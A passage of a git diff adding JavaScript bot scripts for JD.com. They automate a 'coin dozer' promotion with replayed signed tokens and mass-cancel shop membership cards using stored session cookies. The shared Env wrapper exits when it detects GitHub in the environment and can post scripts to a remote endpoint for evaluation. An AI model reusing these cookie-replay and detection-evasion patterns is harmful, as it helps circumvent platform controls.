+ headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log('推出:' + data.data.amount) + console.log('已经推出:' + data.data.dismantledAmount) + } + } else if (data.success == false) { + if (data.msg.indexOf("已完成砍价") != -1) { + $.ok = true + } + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function help(packetId) { + return new Promise((resolve) => { + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=helpCoinDozer&appid=station-soa-h5&client=H5&clientVersion=1.0.0&t=1623120183787&body={"actId":"d5a8c7198ee54de093d2adb04089d3ec","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s","packetId":"${packetId}","helperStatus":"0"}&_ste=1&_stk=appid,body,client,clientVersion,functionId,t&h5st=20210608104303790;8489907903583162;10005;tk01w89681aa9a8nZDdIanIyWnVuWFLK4gnqY+05WKcPY3NWU2dcfa73B7PBM7ufJEN0U+4MyHW5N2mT/RNMq72ycJxH;7e6b956f1a8a71b269a0038bbb4abd24bcfb834a88910818cf1bdfc55b7b96e5`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true) { + console.log("帮砍:" + data.data.amount) + + } + } + else + if (data.msg.indexOf("完成") != -1) { + status = 1 + } + if (data.success == false) { + if (data.msg.indexOf("完成") != -1) { + $.ok = true + } + + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getCoinDozerInfo() { + return new Promise((resolve) => { + + const nm = { + url: `${JD_API_HOST}`, + body: `functionId=getCoinDozerInfo&body={"actId":"d5a8c7198ee54de093d2adb04089d3ec","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s"}&appid=megatron&client=ios&clientVersion=14.3&t=1636015858295&networkType=4g&eid=&fp=-1&frontendInitStatus=s&uuid=8888&osVersion=14.3&d_brand=&d_model=&agent=-1&pageClickKey=-1&screen=400*700&platform=3&lang=zh_CN`, + headers: { + + "Cookie": cookie, + "Origin": "https://pushgold.jd.com", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", + + } + } + $.post(nm, async (err, resp, data) => { + + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success == true && data?.data?.sponsorActivityInfo?.packetId) { + console.log('叼毛:' + data.data.sponsorActivityInfo.initiatorNickname) + console.log('邀请码:' + data.data.sponsorActivityInfo.packetId) + console.log('推出:' + data.data.sponsorActivityInfo.dismantledAmount) + if (data.data && data.data.sponsorActivityInfo.packetId) { + inviteCodes.push({ + user: $.UserName, + packetId: data.data.sponsorActivityInfo.packetId, + ok: false, + }); + } + } else if (data.success == false) { + console.log(data.msg) + } + } + } + + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + + +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_unbind.js b/jd_unbind.js new file mode 100644 index 0000000..eb9cf89 --- /dev/null +++ b/jd_unbind.js @@ -0,0 +1,284 @@ +/* +注销京东会员卡 +是注销京东已开的店铺会员,不是京东plus会员 +查看已开店铺会员入口:我的=>我的钱包=>卡包 + */ +const $ = new Env('注销京东会员卡'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnbindCardNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let cardPageSize = 20;// 运行一次取消多少个会员卡。数字0表示不注销任何会员卡 +let stopCards = `京东PLUS会员`;//遇到此会员卡跳过注销,多个使用&分开 +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】注销京东会员卡失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.unsubscribeCount = 0 + $.cardList = [] + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdUnbind(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdUnbind() { + await getCards() + await unsubscribeCards() +} +async function unsubscribeCards() { + let count = 0 + $.pushcardList=[] + for (let item of $.cardList) { + if (count === cardPageSize * 1){ + console.log(`已达到设定数量:${cardPageSize * 1}`) + break + } + if (stopCards && (item.brandName && stopCards.includes(item.brandName))) { + console.log(`匹配到了您设定的会员卡【${item.brandName}】不再进行取消关注会员卡`) + continue; + } + console.log(`去注销会员卡【${item.brandName}】`) + let res = await unsubscribeCard(item.brandId); + $.pushcardList.push(`去注销会员卡【${item.brandName}】`) + $.pushcardList.push(`https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${item.brandId}`) + // if (res['success']) { + // if (res['busiCode'] === '200') { + // count++; + // $.unsubscribeCount ++ + // } + // } + // await $.wait(1000) + } + + let push_len = $.pushcardList.length + let push_lena = parseInt(push_len/20) + let push_lenb = push_len%20 + + if (push_lena == 0) { + let tg_text = '' + for (a = 0; a < push_len; a++){ + tg_text = tg_text + $.pushcardList[a] + '\n' + } + await notify.sendNotify(`京东会员卡注消链接`, `【京东账号${$.index}】${$.UserName}\n${tg_text}`); + } else { + let step = 0 + for (step = 0; step < push_lena; step++){ + let tg_text = '' + for (a = 0; a < 20; a++){ + tg_text = tg_text + $.pushcardList[a+step*20] + '\n' + } + await notify.sendNotify(`京东会员卡注消链接`, `【京东账号${$.index}】${$.UserName}\n${tg_text}`); + } + + let tg_text = '' + for (b = 0; b < push_lenb; b++){ + tg_text = tg_text + $.pushcardList[b+step*20] + '\n' + } + await notify.sendNotify(`京东会员卡注消链接`, `【京东账号${$.index}】${$.UserName}\n${tg_text}`); + } + +} +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); + } +} +function getCards() { + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}client.action?functionId=getWalletReceivedCardList_New`, + body: 'body=%7B%22v%22%3A%224.3%22%2C%22version%22%3A1580659200%7D&build=167668&client=apple&clientVersion=9.5.4&openudid=c5eb641f1e40b339e2e111619f22ef1e5fdc7834&rfs=0000&scope=01&sign=c18a161ddaf21f44e9cd56a8db29362e&st=1621407560442&sv=101', + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.cardsTotalNum = data.result.cardList ? data.result.cardList.length : 0; + $.cardList = data.result.cardList || [] + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + console.log($.cardList) + }); + }) +} +function unsubscribeCard(vendorId) { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}unBindCard?appid=jd_shop_member&functionId=unBindCard&body=%7B%22venderId%22:%22${vendorId}%22%7D&clientVersion=1.0.0&client=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + 'origin': 'https://shopmember.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${vendorId}`, + 'Cookie': cookie, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + console.log(`https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${vendorId}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function requireConfig() { + return new Promise(resolve => { + $.UN_BIND_NUM = $.isNode() ? (process.env.UN_BIND_CARD_NUM ? process.env.UN_BIND_CARD_NUM : cardPageSize) : ($.getdata('UN_BIND_CARD_NUM') ? $.getdata('UN_BIND_CARD_NUM') : cardPageSize); + $.UN_BIND_STOP_CARD = $.isNode() ? (process.env.UN_BIND_STOP_CARD ? process.env.UN_BIND_STOP_CARD : stopCards) : ($.getdata('UN_BIND_STOP_CARD') ? $.getdata('UN_BIND_STOP_CARD') : stopCards); + if ($.UN_BIND_STOP_CARD) { + if ($.UN_BIND_STOP_CARD.indexOf('&') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('&'); + } else if ($.UN_BIND_STOP_CARD.indexOf('@') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('@'); + } else if ($.UN_BIND_STOP_CARD.indexOf('\n') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\n'); + } else if ($.UN_BIND_STOP_CARD.indexOf('\\n') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\\n'); + } else { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split(); + } + } + cardPageSize = $.UN_BIND_NUM; + stopCards = $.UN_BIND_STOP_CARD; + resolve() + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 